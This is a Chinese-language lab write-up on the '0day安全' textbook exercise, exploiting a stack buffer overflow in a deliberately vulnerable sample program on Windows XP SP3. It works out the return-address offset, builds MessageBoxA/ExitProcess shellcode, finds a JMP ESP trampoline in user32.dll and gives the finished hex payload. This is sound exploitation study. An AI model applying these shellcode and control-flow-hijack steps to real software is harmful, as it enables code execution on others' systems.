简单栈溢出
测试环境: win xp sp3 cn
辅助环境:mac,安装了pwntoosl、msf
使用0day安全中的随书文件:0day\02栈溢出原理与实践\2_4_overflow_code_exec\Debug\stack_overflow_exec.exe
git clone https://github.com/jas502n/0day-security-software-vulnerability-analysis-technology.git
程序逻辑分析
#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
int authenticated;
char buffer[44];
authenticated=strcmp(password,PASSWORD);
strcpy(buffer,password);//over flowed here!
return authenticated;
}
main()
{
int valid_flag=0;
char password[1024];
FILE * fp;
LoadLibrary("user32.dll");//prepare for messagebox
if(!(fp=fopen("password.txt","rw+")))
{
exit(0);
}
fscanf(fp,"%s",password);
valid_flag = verify_password(password);
if(valid_flag)
{
printf("incorrect password!\n");
}
else
{
printf("Congratulation! You have passed the verification!\n");
}
fclose(fp);
}
从password.txt文件中读取内容,将读取的内容传入到verify_password函数中进行比较,但是在strcpy(buffer,password)
拷贝时发生溢出
确认溢出长度
手动确认溢出长度
IDA6.6 IDA.68可以在win xp sp3环境中安装
使用IDA打开程序
可以看到Dest距离ebp的位置为0x30,即十进制48
48再加sizeof(ebp宽度) = 48 + 4 = 52,得到溢出长度为52
调试确认溢出长度
首先安装32位的windbg,再进入到windbg的安装目录下执行windbg -I
,注册windbg为系统的默认调试器
利用pwntools工具生成100个字符
╰─ pwn cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
在0day\02栈溢出原理与实践\2_4_overflow_code_exec\Debug\stack_overflow_exec.exe
同目录下创建password.txt文件,并写入生成的字符
双击执行stack_overflow_exec.exe
,由于程序崩溃,操作系统会自动启动windbg附加该程序
从windbg可以获得信息eip=6161616e
,再交给pwntools工具,可得到溢出长度为52
╰─ pwn cyclic -l 0x6161616e
52
简单直观&但不稳定的利用方式
溢出覆盖verify_password
函数的返回地址,并使得返回地址跳转到verify_password
函数中buffer
变量首地址执行shellcode。(buffer是在栈中,地址可能不稳定)
获取buffer的地址,用来覆盖返回地址
使用IDA打开stack_overflow_exec.exe
程序,选择windbg
配置进程选项
选中程序,以及程序所在目录
在verify_password
函数中下断点,并进行调试
调试可知,Dest即verify_password
函数中buffer
的地址为0x12FAF0
获取MessageBoxA的地址,用于shellcode弹出对话框
系统中并不存在真正的MessageBox
函数,而是会用MessageBoxA
(ASCII)或者MessageBoxW
(Unicode)
由于当前windows xp sp3还没有对dll做地址随机化,可以直接获取MessageBoxA
的地址使用
由于程序自身通过LoadLibrary("user32.dll")
加载了user32.dl
,可以直接在调试窗口中获取MessageBoxA
的地址
双击user32.dll模块,进入该模块的函数列表,找到MessageBoxA
的地址
MessageBoxA 77D507EA
还可以直接通过Dependency walker
工具直接打开user32.dll
获取MessageBoxA
的地址
MessageBoxA = 0x77D10000 + 0x407EA = 0x77D507EA
构造shellcode-调用MessageBoxA
首先看MessageBox
的函数原型:
int MessageBox(
hWnd, // handle to owner window
lpText, // text in message box
lpCaption, // message box title
uType // message box style
);
其中hWnd
和uType
均为NULL
即可,另外两个参数均设置为good-job
字符串。下面是MeessageBox汇编调用写法
xor ebx, ebx ; 将ebx置为0
push ebx ; 将该0,作为"good-job"字符串的结束符"\0"
push 0x626F6A2D
push 0x646F6F67 ; 将 "good-job" 字符串压入栈中
mov eax, esp ; 此时esp为"good-job"字符串的首地址,将字符串的地址保存在eax中
push ebx ; uType ; 第四个参数 NULL
push eax ; lpCaption ; 第三个参数 字符串"good-job\0"
push eax ; lpText ; 第二个参数 字符串"good-job\0"
push ebx ; hWnd ; 第一个参数 NULL
mov eax, 0x77D507EA ; MessageBoxA 的地址
call eax
将汇编转换为机器码1-使用调试器
随便丢入一个exe到OD或者x64dbg中,然后按空格键,将上面的汇编代码一行一行复制替换
便可以获取MessageBox调用的机器码
31 DB 53 68 2D 6A 6F 62 68 67 6F 6F 64 89 E0 53 50 50 53 B8 EA 07 D5 77 FF D0
用HxD随便打开一个空文件,将如上机器码复制进去
再填充0x90,直至到52个字节(0x34)
最后再填充buffer的地址0x0012FAF0
将文件命名为password.txt,并放置到stack_overflow_exec.exe同一目录下,双击执行stack_overflow_exec.exe
但是退出会报错,自动被windbg附加
可以看出是从栈地址0x0012FAF0
执行shellcode,弹出框关闭后,继续还将栈中的内容当做eip继续执行,导致报错,这个等后面修复
将汇编转换为机器码2-内联汇编
使用vc6.0 创建C程序,并写入如下内容
#include <windows.h>
int main()
{
HINSTANCE LibHandle;
char dllbuf[11] = "user32.dll";
LibHandle = LoadLibrary(dllbuf);
_asm{
xor ebx, ebx
push ebx
push 0x626F6A2D
push 0x646F6F67
mov eax, esp
push ebx
push eax
push eax
push ebx
mov eax, 0x77D507EA
call eax
}
}
编译成功后,将可执行文件放入到x64dbg中,找到内联汇编代码并复制出来
将汇编转换为机器码3-在线网址转换
https://shell-storm.org/online/Online-Assembler-and-Disassembler/
JMP ESP
修复报错 - 这里不行,会把栈破坏掉
想法是在shellcode执行完毕后,直接调用ExitProcess
,就不会报错。
这里还是按照之前的方式找到ExitProcess
的地址
ExitProcess 7C81CAFA
在之前的汇编中添加调用ExitProcess
的代码
xor ebx, ebx
push ebx
push 0x626F6A2D
push 0x646F6F67
mov eax, esp
push ebx
push eax
push eax
push ebx
mov eax, 0x77D507EA
call eax
push ebx
mov eax, 0x7C81CAFA
call eax
进入到shellcode,可以看到调用了MessageBox
和ExitProcess
函数
问题出在,shellcode中也存在栈操作,会把shellcode的内容覆盖掉
问题依旧没有解决
什么是JMP ESP
在函数ret
后,ESP
寄存器总是指向固定的位置,即之前的返回地址上方的单元。
那么我们完全可以把shellcode从这个位置开始存放,然后把控制流劫持到内存中任意一条地址较为固定的jmp esp
指令即可。
(这个技术由Cult of the Dead Cow的Dildog于1998年提出)
JMP ESP机器码从哪里来?
首先知道
- 诸如
kernel32.dll
和user32.dll
之类的库会被几乎所有进程加载 - 在windows xp sp3 时,这些库的加载基址始终相同
通过代码获取dll中的 jmp esp
//FF E0 JMP EAX
//FF E1 JMP ECX
//FF E2 JMP EDX
//FF E3 JMP EBX
//FF E4 JMP ESP
//FF E5 JMP EBP
//FF E6 JMP ESI
//FF E7 JMP EDI
//FF D0 CALL EAX
//FF D1 CALL ECX
//FF D2 CALL EDX
//FF D3 CALL EBX
//FF D4 CALL ESP
//FF D5 CALL EBP
//FF D6 CALL ESI
//FF D7 CALL EDI
#include <windows.h>
#include <stdio.h>
#define DLL_NAME "user32.dll"
main()
{
BYTE* ptr;
int position,address;
HINSTANCE handle;
BOOL done_flag = FALSE;
handle=LoadLibrary(DLL_NAME);
if(!handle){
printf(" load dll erro !");
exit(0);
}
ptr = (BYTE*)handle;
for(position = 0; !done_flag; position++){
try{
if(ptr[position] == 0xFF && ptr[position+1] == 0xE4){
//0xFFE4 is the opcode of jmp esp
int address = (int)ptr + position;
printf("OPCODE found at 0x%x\n",address);
}
}
catch(...){
int address = (int)ptr + position;
printf("END OF 0x%x\n", address);
done_flag = true;
}
}
}
通过msf获取dll中的 jmp esp
这里就使用0x77d29353
布置shellcode
shellcode大体是这个样子布置
52字节 + 四字节(jmp esp) + shellcode
就是布置成下面这个样子
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 53 93 D2 77 31 DB 53 68 2D 6A 6F 62 68 67 6F 6F 64 89 E0 53 50 50 53 B8 EA 07 D5 77 FF D0 53 B8 FA CA 81 7C FF D0
JMP ESP优化
之前的布置也有两个弊端:
- 占用空间大。可以发现,原本的数组中填满了无用的
random data
- 可能破坏前一个函数的栈帧。假如我们希望在劫持控制流后最终能回到原来的程序继续运行,这种布置无疑使其变得困难
所以希望能够对布置作出改进,以达到三个目标:
- 能够充分利用原来的合法缓冲区
- 不要让shellcode被自己的
push
操作破坏掉 - 不要大范围破坏其他栈帧
得到以下优化模型
如上,通过sub esp, X
我们把ESP
向上抬高移动到shellcode后,从而避免其被破坏(后面是未使用的栈空间,所以不会造成其他影响);通过jmp esp-X
我们很巧妙地把shellcode移动回了合法缓冲区。
大概布局如下
shellcode
........
shellcode
ebp (overwrite)
ret (overwrite) (jmp esp)
jmp esp-X
另外,jmp esp-X
对应的实际上是:
mov eax, esp
sub eax, 0x38 ; 为什么是0x38(56); shellcode+ebp+ret的总长度是56
jmp eax
拼凑字节码-有问题的
1-shellcode
xor ebx, ebx
push ebx
push 0x626F6A2D
push 0x646F6F67
mov eax, esp
push ebx
push eax
push eax
push ebx
mov eax, 0x77D507EA
call eax
push ebx
mov eax, 0x7C81CAFA
call eax
通过https://shell-storm.org/online/Online-Assembler-and-Disassembler 将汇编转换为字节码
31 db 53 68 2d 6a 6f 62 68 67 6f 6f 64 89 e0 53 50 50 53 b8 ea 07 d5 77 ff d0 53 b8 fa ca 81 7c ff d0
2-jmp esp
53 93 d2 77
3-jmp esp-X
mov eax, esp
sub eax, 0x38
jmp eax
转换为
89 e0 83 e8 38 ff e0
执行,发现报错
调试,看起来shellcode正常
但是继续执行,会看到在shellcode中的栈操作,将shellcode中的字节覆盖掉了
解决报错
sub sp, 0x440 ; 扩展栈空间
xor ebx, ebx
push ebx
push 0x626F6A2D
push 0x646F6F67
mov eax, esp
push ebx
push eax
push eax
push ebx
mov eax, 0x77D507EA
call eax
push ebx
mov eax, 0x7C81CAFA
call eax
为什么用sub sp, 0x440
,不用sub esp, 0x440
sub sp, 0x440
机器码为
66 81 ec 40 04
sub esp, 0x440
机器码为
81 ec 40 04 00 00 ; 这里有00,会破坏shellcode
最终shellcode为,不会报错了
66 81 EC 40 04 31 DB 53 68 2D 6A 6F 62 68 67 6F 6F 64 89 E0 53 50 50 53 B8 EA 07 D5 77 FF D0 53 B8 FA CA 81 7C FF D0 90 90 90 90 90 90 90 90 90 90 90 90 90 53 93 D2 77 89 E0 83 E8 38 FF E0
参考
https://blog.wohin.me/posts/0day-chp03/